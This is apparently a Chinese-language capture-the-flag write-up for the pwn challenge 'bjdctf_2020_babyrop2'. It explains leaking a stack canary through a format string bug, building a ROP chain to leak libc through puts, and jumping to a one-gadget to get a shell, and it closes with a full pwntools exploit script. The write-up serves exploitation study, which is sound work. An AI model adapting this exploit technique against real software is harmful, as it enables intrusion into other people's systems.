这道题是一道基本题,正因为它经典,所以需要重点记录一下。
这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。
开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!
main函数中调用了三个函数,我们一个一个点进去看看,先看一下init()。
有点水文章了。。。第一和函数就是告诉我们说让门尽力泄露libc的版本。。。来,我们继续看第二个函数!
很明显有一个格式化字符串漏洞,并且format是由我们控制的,这里呢,我们先算一下这个格式化字符串的偏移吧。你看scanf那里,允许我们输入6个字节。。。那么我们就开始撞运气泄露偏移吧。。。
当我们输入泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,那么我们只要算好偏移泄露就可以了。
这里的时候我们是输入了%6$p,看栈分布,说明我们只要输入%7$p,就把canary泄露出来了。我们直接运行程序看看。
输出的这个就是canary,%p就是以十六进制输出数据。
好,接下来我们看最后一个函数。
就是简单的栈溢出,构造rop链了。
接下来来看看payload怎么构造。
1 payload = p64(cancry) 2 payload = payload.rjust(0x20,'a') 3 payload += 'bbbbbbbb' 4 payload += p64(pop_rdi) 5 payload += p64(puts_got) 6 payload += p64(puts_plt) 7 payload += p64(ret_addr)
把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。
贴一下完整的exp:
1 from pwn import * 2 import time 3 4 p = process('./bjdctf_2020_babyrop2') 5 elf = ELF('./bjdctf_2020_babyrop2') 6 context.log_level = 'debug' 7 8 p.recv() 9 payload = '%7$p' 10 p.sendline(payload) 11 p.recvuntil('0x') 12 cancry = int(p.recv(16),16) 13 14 puts_plt = 0x0400610 15 puts_got = elf.got['puts'] 16 pop_rdi = 0x0400993 17 main_addr = elf.symbols['main'] 18 ret_addr = 0x0400887 19 20 sleep(1) 21 payload = p64(cancry) 22 payload = payload.rjust(0x20,'a') 23 payload += 'bbbbbbbb' 24 payload += p64(pop_rdi) 25 payload += p64(puts_got) 26 payload += p64(puts_plt) 27 payload += p64(ret_addr) 28 p.recvuntil('story!\n') 29 p.sendline(payload) 30 puts_addr = u64(p.recv(6).ljust(8,'\x00')) 31 print hex(puts_addr) 32 33 base_addr = puts_addr - 0x06f690 34 shell_addr = base_addr + 0x45216 35 p.recvuntil('story!\n') 36 payload = p64(cancry) 37 payload = payload.rjust(0x20,'a') 38 payload += 'bbbbbbbb' 39 payload += p64(shell_addr) 40 p.sendline(payload) 41 p.interactive() 42 p.close()